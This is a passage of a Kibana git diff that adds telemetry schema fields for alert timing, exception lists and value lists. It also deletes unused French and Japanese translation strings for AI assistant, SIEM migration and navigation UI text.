spent indexing alerts" } }, "min": { "type": "float", "_meta": { - "description": "The min duration" + "description": "The min duration of time spent indexing alerts" } } } @@ -1990,19 +3204,19 @@ "max": { "type": "float", "_meta": { - "description": "The max duration" + "description": "The max duration of time spent searching alerts" } }, "avg": { "type": "float", "_meta": { - "description": "The avg duration" + "description": "The avg duration of time spent searching alerts" } }, "min": { "type": "float", "_meta": { - "description": "The min duration" + "description": "The min duration of time spent searching alerts" } } } @@ -2012,19 +3226,19 @@ "max": { "type": "float", "_meta": { - "description": "The max duration" + "description": "The max duration of time spent enriching alerts" } }, "avg": { "type": "float", "_meta": { - "description": "The avg duration" + "description": "The avg duration of time spent enriching alerts" } }, "min": { "type": "float", "_meta": { - "description": "The min duration" + "description": "The min duration of time spent enriching alerts" } } } @@ -6064,6 +7278,364 @@ } } } + }, + "exceptionsMetrics": { + "properties": { + "items_overview": { + "properties": { + "total": { + "type": "long", + "_meta": { + "description": "Total number of exception items" + } + }, + "has_expire_time": { + "type": "long", + "_meta": { + "description": "Total number of exception items using expired time property" + } + }, + "are_expired": { + "type": "long", + "_meta": { + "description": "Total number of expired exception items" + } + }, + "has_comments": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have comments" + } + }, + "entries": { + "properties": { + "match": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have match entries" + } + }, + "list": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have match entries" + } + }, + "nested": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have nested entries" + } + }, + "match_any": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have match_any entries" + } + }, + "exists": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have exists entries" + } + }, + "wildcard": { + "type": "long", + "_meta": { + "description": "Total number of exception items that have wildcard entries" + } + } + } + } + } + }, + "lists_overview": { + "properties": { + "detection": { + "properties": { + "lists": { + "type": "long", + "_meta": { + "description": "Total number of exception lists of type \"detection\"" + } + }, + "total_items": { + "type": "long", + "_meta": { + "description": "Total number of exception list items of type \"detection\"" + } + }, + "max_items_per_list": { + "type": "long", + "_meta": { + "description": "Largest exception list of type \"detection\" - number of items" + } + }, + "min_items_per_list": { + "type": "long", + "_meta": { + "description": "Smallest exception list of type \"detection\" - number of items" + } + }, + "median_items_per_list": { + "type": "long", + "_meta": { + "description": "Average number of exception list items per list of type \"detection\"" + } + } + } + }, + "rule_default": { + "properties": { + "lists": { + "type": "long", + "_meta": { + "description": "Total number of exception lists of type \"rule_default\"" + } + }, + "total_items": { + "type": "long", + "_meta": { + "description": "Total number of exception list items of type \"rule_default\"" + } + }, + "max_items_per_list": { + "type": "long", + "_meta": { + "description": "Largest exception list of type \"rule_default\"- number of items" + } + }, + "min_items_per_list": { + "type": "long", + "_meta": { + "description": "Smallest exception list of type \"rule_default\"- number of items" + } + }, + "median_items_per_list": { + "type": "long", + "_meta": { + "description": "Average number of exception list items per list of type \"rule_default\"" + } + } + } + }, + "endpoint": { + "properties": { + "lists": { + "type": "long", + "_meta": { + "description": "Total number of exception lists of type \"endpoint\"" + } + }, + "total_items": { + "type": "long", + "_meta": { + "description": "Total number of exception list items of type \"endpoint\"" + } + }, + "max_items_per_list": { + "type": "long", + "_meta": { + "description": "Largest exception list of type \"endpoint\"- number of items" + } + }, + "min_items_per_list": { + "type": "long", + "_meta": { + "description": "Smallest exception list of type \"endpoint\"- number of items" + } + }, + "median_items_per_list": { + "type": "long", + "_meta": { + "description": "Average number of exception list items per list of type \"endpoint\"" + } + } + } + } + } + } + } + }, + "valueListsMetrics": { + "properties": { + "lists_overview": { + "properties": { + "total": { + "type": "long", + "_meta": { + "description": "Total number of value lists" + } + }, + "binary": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"binary\"" + } + }, + "boolean": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"boolean\"" + } + }, + "byte": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"byte\"" + } + }, + "date": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"date\"" + } + }, + "date_nanos": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"date_nanos\"" + } + }, + "date_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"date_range\"" + } + }, + "double": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"double\"" + } + }, + "double_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"double_range\"" + } + }, + "float": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"float\"" + } + }, + "float_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"float_range\"" + } + }, + "geo_point": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"geo_point\"" + } + }, + "geo_shape": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"geo_shape\"" + } + }, + "half_float": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"half_float\"" + } + }, + "integer": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"integer\"" + } + }, + "integer_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"integer_range\"" + } + }, + "ip": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"ip\"" + } + }, + "ip_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"ip_range\"" + } + }, + "keyword": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"keyword\"" + } + }, + "long": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"long\"" + } + }, + "long_range": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"long_range\"" + } + }, + "shape": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"shape\"" + } + }, + "short": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"short\"" + } + }, + "text": { + "type": "long", + "_meta": { + "description": "Total number of value lists of type \"text\"" + } + } + } + }, + "items_overview": { + "properties": { + "total": { + "type": "long", + "_meta": { + "description": "Total number of value list items" + } + }, + "max_items_per_list": { + "type": "long", + "_meta": { + "description": "Max number of value list items in a single list" + } + }, + "min_items_per_list": { + "type": "long", + "_meta": { + "description": "Min number of value list items in a single list" + } + }, + "median_items_per_list": { + "type": "long", + "_meta": { + "description": "Median number of value list items in a single list" + } + } + } + } + } } } } diff --git a/x-pack/platform/plugins/private/translations/translations/fr-FR.json b/x-pack/platform/plugins/private/translations/translations/fr-FR.json index 99d1fdef5ba41..0d36a376b57b6 100644 --- a/x-pack/platform/plugins/private/translations/translations/fr-FR.json +++ b/x-pack/platform/plugins/private/translations/translations/fr-FR.json @@ -96,7 +96,6 @@ "aiAssistantManagementSelection.breadcrumb.index": "Assistant d'IA", "aiAssistantManagementSelection.featureRegistry.featureName": "Assistant d'IA", "aiAssistantManagementSelection.managementSectionLabel": "Assistants d'IA", - "aiAssistantManagementSelection.preferredAIAssistantTypeSettingDescription": "[version d'évaluation technique] Afficher ou non l'élément de menu Assistant d’IA dans Observability et Search, partout ou nulle part.", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingName": "Assistant d’IA de visibilité pour Observability et Search", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueDefault": "Observability et Search uniquement (par défaut)", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever": "Nulle part", @@ -1732,10 +1731,6 @@ "data.advancedSettings.timepicker.today": "Aujourd'hui", "data.aggTypes.buckets.ranges.rangesFormatMessage": "{gte} {from} et {lt} {to}", "data.aggTypes.buckets.ranges.rangesFormatMessageArrowRight": "{from} → {to}", - "data.deprecations.scriptedFieldsMessage": "La fonctionnalité de sessions de recherche est déclassée et est désactivée par défaut dans la version 9.0. Vous avez actuellement {numberOfSearchSessions} session(s) de recherche active(s) : [Gérer les sessions de recherche]({searchSessionsLink})", - "data.deprecations.searchSessions.manualStepOneMessage": "Accédez à Gestion de la Suite > Kibana > Sessions de recherche", - "data.deprecations.searchSessions.manualStepTwoMessage": "À défaut, pour continuer à utiliser les sessions de recherche jusqu'à la version 9.1, ouvrez le fichier de configuration kibana.yml et ajoutez le texte suivant : \"data.search.sessions.enabled: true\"", - "data.deprecations.searchSessionsTitle": "Les sessions de recherche seront désactivées par défaut", "data.filter.filterBar.fieldNotFound": "Champ {key} non trouvé dans la vue de données {dataView}", "data.functions.esaggs.help": "Exécuter l'agrégation AggConfig", "data.functions.esaggs.inspector.dataRequest.description": "Cette requête interroge Elasticsearch pour récupérer les données pour la visualisation.", @@ -15081,13 +15076,10 @@ "xpack.csp.emptyState.resetFiltersButton": "Réinitialiser les filtres", "xpack.csp.emptyState.title": "Aucun résultat ne correspond à vos critères de recherche.", "xpack.csp.enableBenchmarkRuleButton": "Activer la règle", - "xpack.csp.findings.3pIntegrationsCallout.buttonTitle": "Intégrer Wiz", - "xpack.csp.findings.3pIntegrationsCallout.title": "Nouveauté ! Ingérez les données de votre produit de sécurité cloud dans Elastic pour effectuer des analyses centralisées, des recherches, des enquêtes, des visualisations, etc.", "xpack.csp.findings.distributionBar.totalFailedLabel": "Échec des résultats", "xpack.csp.findings.distributionBar.totalPassedLabel": "Réussite des résultats", "xpack.csp.findings.errorCallout.pageSearchErrorTitle": "Une erreur s’est produite lors de la récupération des résultats de recherche.", "xpack.csp.findings.errorCallout.showErrorButtonLabel": "Afficher le message d'erreur", - "xpack.csp.findings.findingsFlyout.calloutTitle": "Certains champs ne sont pas fournis par {vendor}", "xpack.csp.findings.findingsFlyout.jsonTabTitle": "JSON", "xpack.csp.findings.findingsFlyout.overviewTab.alertsTitle": "Alertes", "xpack.csp.findings.findingsFlyout.overviewTab.dataViewTitle": "Vue de données", @@ -16098,7 +16090,6 @@ "xpack.elasticAssistant.assistant.deleteConversationModal.deleteButtonText": "Supprimer", "xpack.elasticAssistant.assistant.deleteConversationModal.deleteConversationTitle": "Supprimer cette conversation", "xpack.elasticAssistant.assistant.disclaimer": "Les réponses des systèmes d'IA ne sont pas toujours tout à fait exactes, même si elles peuvent sembler convaincantes. Pour en savoir plus sur la fonctionnalité d'assistant et son utilisation, consultez la documentation.", - "xpack.elasticAssistant.assistant.emptyScreen.description": "Demandez-moi tout ce que vous voulez, de \"Résumez cette alerte\" à \"Aidez-moi à construire une requête\" en utilisant l'invite suivante du système :", "xpack.elasticAssistant.assistant.emptyScreen.title": "Comment puis-je vous aider ?", "xpack.elasticAssistant.assistant.firstPromptEditor.addNewSystemPrompt": "Ajouter une nouvelle invite système...", "xpack.elasticAssistant.assistant.firstPromptEditor.clearSystemPrompt": "Effacer une invite système", @@ -16359,7 +16350,6 @@ "xpack.elasticAssistant.knowledgeBase.tour.videoStep.desc": "Les sources de connaissances personnalisées vous permettent de recevoir des réponses personnalisées et adaptées de la part de l'assistant d’IA. Visionnez cette vidéo pour découvrir comment ajouter vos propres sources de données et voir des exemples de leur application dans un contexte d'opérations de sécurité.", "xpack.elasticAssistant.knowledgeBase.tour.videoStep.title": "Présentation des sources de connaissances personnalisées", "xpack.elasticAssistant.prompts.bulkActionspromptsError": "Erreur de la mise à jour des invites {error}", - "xpack.elasticAssistant.prompts.getPromptsError": "Erreur lors de la récupération des invites", "xpack.elasticAssistant.securityAssistant.content.prompts.welcome.enterprisePrompt": "L'assistant d'IA d'Elastic n'est accessible qu'aux entreprises. Veuillez mettre votre licence à niveau pour bénéficier de cette fonctionnalité.", "xpack.elasticAssistantPlugin.assistant.apiErrorTitle": "Une erreur s’est produite lors de l’envoi de votre message.", "xpack.elasticAssistantPlugin.assistant.contentReferences.knowledgeBaseEntryReference.label": "Entrée de la base de connaissances", @@ -19701,7 +19691,6 @@ "xpack.fleet.serverError.enrollmentKeyDuplicate": "Une clé d'enregistrement nommée {providedKeyName} existe déjà pour la politique d'agent {agentPolicyId}", "xpack.fleet.serverError.returnedIncorrectKey": "La commande find enrollmentKeyById a renvoyé une clé erronée", "xpack.fleet.serverError.unableToCreateEnrollmentKey": "Impossible de créer une clé d'API d'enregistrement", - "xpack.fleet.serverPlugin.privilegesTooltip": "Tous les espaces sont requis pour l’accès à Fleet.", "xpack.fleet.settings.advancedSection.link": "documents", "xpack.fleet.settings.advancedSection.preconfiguredTitle": "Ce paramètre est préconfiguré et ne peut pas être mis à jour.", "xpack.fleet.settings.advancedSection.switchLabel": "L'activation de ce paramètre permet la suppression automatique des agents désenregistrés. Pour en savoir plus, consultez notre {docLink}.", @@ -26789,7 +26778,6 @@ "xpack.ml.anomalyChartsEmbeddable.setupModal.cancelButtonLabel": "Annuler", "xpack.ml.anomalyChartsEmbeddable.setupModal.title": "Configuration des graphiques Anomaly Explorer", "xpack.ml.anomalyChartsEmbeddable.title": "Graphiques d'anomalies de ML pour {jobIds}", - "xpack.ml.anomalyDescription.anomalyInLabel": "Anomalie {anomalySeverity} dans {anomalyDetector}", "xpack.ml.anomalyDescription.detectedInLabel": "détecté dans {sourcePartitionFieldName} {sourcePartitionFieldValue}", "xpack.ml.anomalyDescription.foundForLabel": "trouvé pour {anomalyEntityName} {anomalyEntityValue}", "xpack.ml.anomalyDescription.multivariateDescription": "corrélations multi-variable trouvées dans {sourceByFieldName} ; {sourceByFieldValue} est considéré comme anormal en fonction de {sourceCorrelatedByFieldValue}", @@ -33955,7 +33943,6 @@ "xpack.searchPlayground.header.view.chat": "Chat", "xpack.searchPlayground.header.view.preview": "Aperçu", "xpack.searchPlayground.header.view.query": "Requête", - "xpack.searchPlayground.inferenceModel": "{name}", "xpack.searchPlayground.loadConnectorsError": "Erreur lors du chargement des connecteurs. Veuillez vérifier votre configuration et réessayer.", "xpack.searchPlayground.openAIAzureConnectorTitle": "OpenAI Azure", "xpack.searchPlayground.openAIAzureModel": "{name} (Azure OpenAI)", @@ -35063,18 +35050,6 @@ "xpack.securitySolution.assistant.content.promptContexts.indexTitle": "index", "xpack.securitySolution.assistant.content.promptContexts.viewTitle": "vue", "xpack.securitySolution.assistant.conversationMigrationStatus.title": "Les conversations de stockage local ont été persistées avec succès.", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationPrompt": "En tant qu’expert en opérations de sécurité et en réponses aux incidents, décomposer l’alerte jointe et résumer ce qu’elle peut impliquer pour mon organisation.", - "xpack.securitySolution.assistant.quickPrompts.alertSummarizationTitle": "Synthèse de l’alerte", - "xpack.securitySolution.assistant.quickPrompts.AutomationPrompt": "Quelle intégration d’Elastic Agent activée par Fleet dois-je utiliser pour collecter des logs et des évènements de :", - "xpack.securitySolution.assistant.quickPrompts.AutomationTitle": "Conseil sur l’intégration d’agent", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationPrompt": "En tant qu'utilisateur expert d'Elastic Security, veuillez générer une requête EQL valide et précise pour détecter le cas d'utilisation ci-dessous. Votre réponse doit être formatée pour pouvoir être utilisée immédiatement dans une chronologie ou une règle de détection d'Elastic Security. Si Elastic Security a déjà une règle prédéfinie pour le cas d'utilisation ou pour un cas similaire, veuillez fournir un lien vers cette règle et la décrire.", - "xpack.securitySolution.assistant.quickPrompts.ruleCreationTitle": "Génération de requête", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionPrompt": "J'ai la requête suivante d'une plateforme SIEM précédente. En tant qu'utilisateur expert d'Elastic Security, veuillez suggérer un équivalent EQL Elastic. Je dois être capable de la copier immédiatement dans une chronologie Elastic Security.", - "xpack.securitySolution.assistant.quickPrompts.splQueryConversionTitle": "Conversion de requête", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesPrompt": "En tant qu’utilisateur expert d’Elastic Security, d’Elastic Agent et de pipelines d'ingestion, veuillez donner des instructions précises et formatées, étape par étape, sur comment ingérer les données suivantes à l’aide d’Elastic Agent et de Fleet dans Kibana, et comment les convertir dans Elastic Common Schema :", - "xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesTitle": "Assistant d’ingestion de données personnalisées", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisPrompt": "En tant qu’utilisateur expert d’Elastic Security, veuillez suggérer un workflow, avec des instructions étape par étape pour :", - "xpack.securitySolution.assistant.quickPrompts.workflowAnalysisTitle": "Suggestion de workflow", "xpack.securitySolution.assistant.settings.breadcrumb.index": "Assistants d'IA", "xpack.securitySolution.assistant.settings.breadcrumb.security": "Sécurité", "xpack.securitySolution.assistant.settings.breadcrumb.serverless.security": "Paramètres de l'assistant d'IA pour Security", @@ -39807,7 +39782,6 @@ "xpack.securitySolution.onboarding.aiConnector.descriptionStart": "Cette fonctionnalité s'appuie sur un connecteur IA pour la traduction des règles.", "xpack.securitySolution.onboarding.aiConnector.learnMoreLink": "En savoir plus", "xpack.securitySolution.onboarding.aiConnector.llmMatrixLink": "performances du modèle", - "xpack.securitySolution.onboarding.aiConnector.siemMigrationLink": "Migration SIEM optimisée par l'IA", "xpack.securitySolution.onboarding.aiConnector.title": "Configurer le fournisseur d'IA", "xpack.securitySolution.onboarding.aiConnectorCardInferenceDescription": "Le connecteur fourni par Elastic est sélectionné par défaut. Vous pouvez configurer un autre connecteur et un autre modèle si vous le souhaitez. En savoir plus sur {docsLink} et {llmMatrixLink}", "xpack.securitySolution.onboarding.aiConnectorCardNotInferenceDescription": "Consultez la {llmMatrixLink} pour savoir quels sont les modèles les plus performants et {docsLink} pour en savoir plus sur la migration SIEM optimisée par l'IA.", @@ -39827,8 +39801,6 @@ "xpack.securitySolution.onboarding.alertsCards.timeline.title": "Investiguer dans la chronologie", "xpack.securitySolution.onboarding.alertsGroup.title": "Configurer les règles et les alertes", "xpack.securitySolution.onboarding.assistantCard.badge.completeText": "{count} {count, plural, one {connector} other {connecteurs IA ajoutés}}", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsButton": "Ajouter des étapes d'intégration", - "xpack.securitySolution.onboarding.assistantCard.calloutIntegrationsText": "Pour ajouter des règles Elastic, ajoutez d'abord des intégrations.", "xpack.securitySolution.onboarding.assistantCard.createNewConnectorPopover": "Fournisseur de service d'IA", "xpack.securitySolution.onboarding.assistantCard.description": "Choisissez et configurez n'importe quel fournisseur d'IA disponible pour l'utiliser avec Elastic AI Assistant.", "xpack.securitySolution.onboarding.assistantCard.missingPrivileges.contactAdministrator": "Contactez votre administrateur si vous avez besoin d'aide.", @@ -39923,7 +39895,6 @@ "xpack.securitySolution.onboarding.subTitle": "Bienvenue dans Elastic Security", "xpack.securitySolution.onboarding.Title": "Bonjour, {userName} !", "xpack.securitySolution.onboarding.topic.default": "Paramétrer la sécurité", - "xpack.securitySolution.onboarding.topic.siemMigrations": "Migration de règles SIEM", "xpack.securitySolution.open.timeline.batchActionsTitle": "Actions groupées", "xpack.securitySolution.open.timeline.cancelButton": "Annuler", "xpack.securitySolution.open.timeline.collapseButton": "Réduire", @@ -40683,7 +40654,6 @@ "xpack.securitySolution.siemMigrations.rules.status.failedLabel": "Erreur", "xpack.securitySolution.siemMigrations.rules.status.installedLabel": "Installé", "xpack.securitySolution.siemMigrations.rules.table.alreadyTranslatedTooltip": "Règle de migration déjà traduite", - "xpack.securitySolution.siemMigrations.rules.table.goToMigrationsPageButton": "Retourner aux Migrations SIEM", "xpack.securitySolution.siemMigrations.rules.table.installAndEnableButtonLabel": "Installer et activer", "xpack.securitySolution.siemMigrations.rules.table.installSelectedButtonAriaLabel": "Installer toutes les règles traduites sélectionnées", "xpack.securitySolution.siemMigrations.rules.table.installSelectedRules": "Installer ({numberOfSelectedRules}) règle(s) sélectionnée(s)", @@ -40718,18 +40688,14 @@ "xpack.securitySolution.siemMigrations.rules.tableColumn.statusTooltip": "{title} {installed} - déjà ajoutée à Elastic SIEM. Cliquez sur \"Afficher\" pour la gérer et l'activer.{lineBreak} {translated} - prête à installer. Cette règle a été mappée à une règle Elastic si possible, ou traduite par l'IA.{lineBreak} {partiallyTranslated} - une partie de la requête n'a pas pu être traduite. Téléchargez les macros ou consultations manquants et vérifiez votre syntaxe.{lineBreak} {notTranslated} - aucune des requêtes originales n'a pu être traduite.", "xpack.securitySolution.siemMigrations.rules.tableColumn.statusTooltipTitle": "Légende du statut de la traduction", "xpack.securitySolution.siemMigrations.rules.tableColumn.updatedLabel": "Mis à jour", - "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.content": "Voici un guide étape par étape sur l'importation de vos règles, actifs et données SIEM vers Elastic Security. Alimenté par l'IA.", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.finishButton": "OK", "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.subtitle": "Nouveau guide d'intégration !", - "xpack.securitySolution.siemMigrations.rules.tour.setupSiemMigrationGuide.title": "Migration SIEM facilitée", "xpack.securitySolution.siemMigrations.rules.tour.statusStepContent": "Les règles {installed} ont une coche. Cliquez sur {view} pour accéder aux détails des règles. Les règles {translated} sont prêtes à être {install}, ou {edit}. Les règles comportant des erreurs peuvent être {reprocessed}. {lineBreak}{lineBreak} En savoir plus sur notre {link}", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.content": "Les règles traduites de chaque migration apparaissent sur sa page de traductions de règle SIEM. Changez de migration grâce à ce menu déroulant. Lancez une nouvelle migration en cliquant sur \"Télécharger d'autres règles à traduire\".", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.editLabel": "Modifier", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.finishButton": "OK", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installedLabel": "Installé", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.installLabel": "Installer", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepContent": "Votre guide et vos règles migrées seront toujours situés dans le Hub d'intégration. Utilisez-le pour examiner les anciennes règles de migration, ou lancez-en une nouvelle.", - "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.migrationGuideStepTitle": "Guide de migration de règles SIEM", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.nextStepButton": "Suivant", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.reprocessedLabel": "Re-traitée", "xpack.securitySolution.siemMigrations.rules.tour.translationRuleGuide.siemMigrationsLinkLabel": "Traductions par IA ici", @@ -41478,13 +41444,9 @@ "xpack.serverlessSearch.languages.ruby": "Ruby", "xpack.serverlessSearch.languages.ruby.githubLabel": "elasticsearch-serverless-ruby", "xpack.serverlessSearch.learnMore": "En savoir plus", - "xpack.serverlessSearch.nav.analyze": "Analyser", "xpack.serverlessSearch.nav.build": "Développer", "xpack.serverlessSearch.nav.build.searchPlayground": "Playground", "xpack.serverlessSearch.nav.content.indices": "Gestion des index", - "xpack.serverlessSearch.nav.data": "Données", - "xpack.serverlessSearch.nav.devTools": "Outils de développement", - "xpack.serverlessSearch.nav.gettingStarted": "Commencer", "xpack.serverlessSearch.nav.mngt": "Gestion", "xpack.serverlessSearch.nav.mngt.access": "Accès", "xpack.serverlessSearch.nav.mngt.access.userAndRoles": "Gérer les membres de l'organisation", @@ -41493,7 +41455,6 @@ "xpack.serverlessSearch.nav.mngt.data": "Données", "xpack.serverlessSearch.nav.mngt.other": "Autre", "xpack.serverlessSearch.nav.mngt.other.aiAssistantSettings": "Réglages de l'assistant d'IA", - "xpack.serverlessSearch.nav.otherTools": "Autres outils", "xpack.serverlessSearch.nav.performance": "Performances", "xpack.serverlessSearch.nav.projectSettings": "Paramètres de projet", "xpack.serverlessSearch.nav.relevance": "Pertinence", diff --git a/x-pack/platform/plugins/private/translations/translations/ja-JP.json b/x-pack/platform/plugins/private/translations/translations/ja-JP.json index 78df8036654e2..c6136c351e5ad 100644 --- a/x-pack/platform/plugins/private/translations/translations/ja-JP.json +++ b/x-pack/platform/plugins/private/translations/translations/ja-JP.json @@ -96,7 +96,6 @@ "aiAssistantManagementSelection.breadcrumb.index": "AI Assistant", "aiAssistantManagementSelection.featureRegistry.featureName": "AI Assistant", "aiAssistantManagementSelection.managementSectionLabel": "AI Assistant", - "aiAssistantManagementSelection.preferredAIAssistantTypeSettingDescription": "[テクニカルプレビュー]オブザーバビリティとSearchのAI Assistantメニュー項目を、どの場所でも表示するか、どの場所でも表示しないか。", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingName": "AI Assistant for Observability and Searchの表示", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueDefault": "Observability and Searchのみ(デフォルト)", "aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever": "なし", @@ -1734,10 +1733,6 @@ "data.advancedSettings.timepicker.today": "今日", "data.aggTypes.buckets.ranges.rangesFormatMessage": "{gte} {from} と {lt} {to}", "data.aggTypes.buckets.ranges.rangesFormatMessageArrowRight": "{from} → {to}", - "data.deprecations.scriptedFieldsMessage": "検索セッション機能は廃止予定であり、9.0ではデフォルトで無効になっています。現在、{numberOfSearchSessions}個のアクティブな検索セッションがあります:[検索セッションの管理]({searchSessionsLink})", - "data.deprecations.searchSessions.manualStepOneMessage": "[スタック管理]>[Kibana]>[検索セッション]に移動します", - "data.deprecations.searchSessions.manualStepTwoMessage": "あるいは、9.1まで検索セッションの使用を継続するには、kibana.yml構成ファイルを開き、行「data.search.sessions.enabled: true」を追加します", - "data.deprecations.searchSessionsTitle": "デフォルトでは、検索セッションは無効です", "data.filter.filterBar.fieldNotFound": "フィールド{key}がデータビュー{dataView}で見つかりません", "data.functions.esaggs.help": "AggConfig 集約を実行します", "data.functions.esaggs.inspector.dataRequest.description": "このリクエストはElasticsearchにクエリーし、ビジュアライゼーション用のデータを取得します。", @@ -15098,13 +15093,10 @@ "xpack.csp.emptyState.resetFiltersButton": "フィルターをリセット", "xpack.csp.emptyState.title": "検索条件と一致する結果がありません。", "xpack.csp.enableBenchmarkRuleButton": "ルールを有効にする", - "xpack.csp.findings.3pIntegrationsCallout.buttonTitle": "Wizを統合", - "xpack.csp.findings.3pIntegrationsCallout.title": "新機能!クラウドセキュリティ製品のデータをElasticにインジェストして、分析、ハンティング、調査、視覚化などを一元的に実行できます。", "xpack.csp.findings.distributionBar.totalFailedLabel": "失敗した調査結果", "xpack.csp.findings.distributionBar.totalPassedLabel": "合格した調査結果", "xpack.csp.findings.errorCallout.pageSearchErrorTitle": "検索結果の取得中にエラーが発生しました", "xpack.csp.findings.errorCallout.showErrorButtonLabel": "エラーメッセージを表示", - "xpack.csp.findings.findingsFlyout.calloutTitle": "一部のフィールドは{vendor}によって提供されていません", "xpack.csp.findings.findingsFlyout.jsonTabTitle": "JSON", "xpack.csp.findings.findingsFlyout.overviewTab.alertsTitle": "アラート", "xpack.csp.findings.findingsFlyout.overviewTab.dataViewTitle": "データビュー", @@ -16116,7 +16108,6 @@ "xpack.elasticAssistant.assistant.deleteConversationModal.deleteButtonText": "削除", "xpack.elasticAssistant.assistant.deleteConversationModal.deleteConversationTitle": "この会話を削除", "xpack.elasticAssistant.assistant.disclaimer": "AIシステムからの応答は、納得できるように思われる場合であっても、必ずしも完全に正確であるとは限りません。アシスタント機能とその使用方法の詳細については、ドキュメントを参照してください。", - "xpack.elasticAssistant.assistant.emptyScreen.description": "次のシステムプロンプトを使用して、「このアラートを要約してください」から「クエリの作成を手伝ってください」まで、何でも依頼してください。", "xpack.elasticAssistant.assistant.emptyScreen.title": "お手伝いできることはありますか?", "xpack.elasticAssistant.assistant.firstPromptEditor.addNewSystemPrompt": "新しいシステムプロンプトを追加...", "xpack.elasticAssistant.assistant.firstPromptEditor.clearSystemPrompt": "システムプロンプトを消去", @@ -16377,7 +16368,6 @@ "xpack.elasticAssistant.knowledgeBase.tour.videoStep.desc": "カスタムナレッジソースでは、AI Assistantからカスタマイズされた応答を受け取ることができます。独自のデータソースを追加する方法や、セキュリティ運用コンテキストで応用する方法の例を探るには、こちらの動画を視聴してください。", "xpack.elasticAssistant.knowledgeBase.tour.videoStep.title": "カスタムナレッジソースの概要", "xpack.elasticAssistant.prompts.bulkActionspromptsError": "プロンプトの更新エラー{error}", - "xpack.elasticAssistant.prompts.getPromptsError": "プロンプト取得エラー", "xpack.elasticAssistant.securityAssistant.content.prompts.welcome.enterprisePrompt": "Elastic AI Assistantはエンタープライズユーザーのみご利用いただけます。 この機能を使用するには、ライセンスをアップグレードしてください。", "xpack.elasticAssistantPlugin.assistant.apiErrorTitle": "メッセージの送信中にエラーが発生しました。", "xpack.elasticAssistantPlugin.assistant.contentReferences.knowledgeBaseEntryReference.label": "ナレッジベースエントリ", @@ -19723,7 +19713,6 @@ "xpack.fleet.serverError.enrollmentKeyDuplicate": "エージェントポリシーの{agentPolicyId}登録キー{providedKeyName}はすでに存在します", "xpack.fleet.serverError.returnedIncorrectKey": "Find enrollmentKeyByIdで正しくないキーが返されました", "xpack.fleet.serverError.unableToCreateEnrollmentKey": "登録APIキーを作成できません", - "xpack.fleet.serverPlugin.privilegesTooltip": "Fleetアクセスには、すべてのSpacesが必要です。", "xpack.fleet.settings.advancedSection.link": "ドキュメント", "xpack.fleet.settings.advancedSection.preconfiguredTitle": "この設定はあらかじめ構成されているため、更新できません。", "xpack.fleet.settings.advancedSection.switchLabel": "この設定をオンにすると、登録されていないエージェントが自動的に削除されます。詳細については、{docLink}を参照してください。", @@ -26820,7 +26809,6 @@ "xpack.ml.anomalyChartsEmbeddable.setupModal.cancelButtonLabel": "キャンセル", "xpack.ml.anomalyChartsEmbeddable.setupModal.title": "異常エクスプローラーグラフ構成", "xpack.ml.anomalyChartsEmbeddable.title": "{jobIds}のML異常グラフ", - "xpack.ml.anomalyDescription.anomalyInLabel": "{anomalyDetector} の {anomalySeverity} の異常", "xpack.ml.anomalyDescription.detectedInLabel": "{sourcePartitionFieldName} {sourcePartitionFieldValue} で検知", "xpack.ml.anomalyDescription.foundForLabel": "{anomalyEntityName} {anomalyEntityValue} で発見", "xpack.ml.anomalyDescription.multivariateDescription": "{sourceByFieldName} で多変量相関が見つかりました; {sourceByFieldValue} は {sourceCorrelatedByFieldValue} 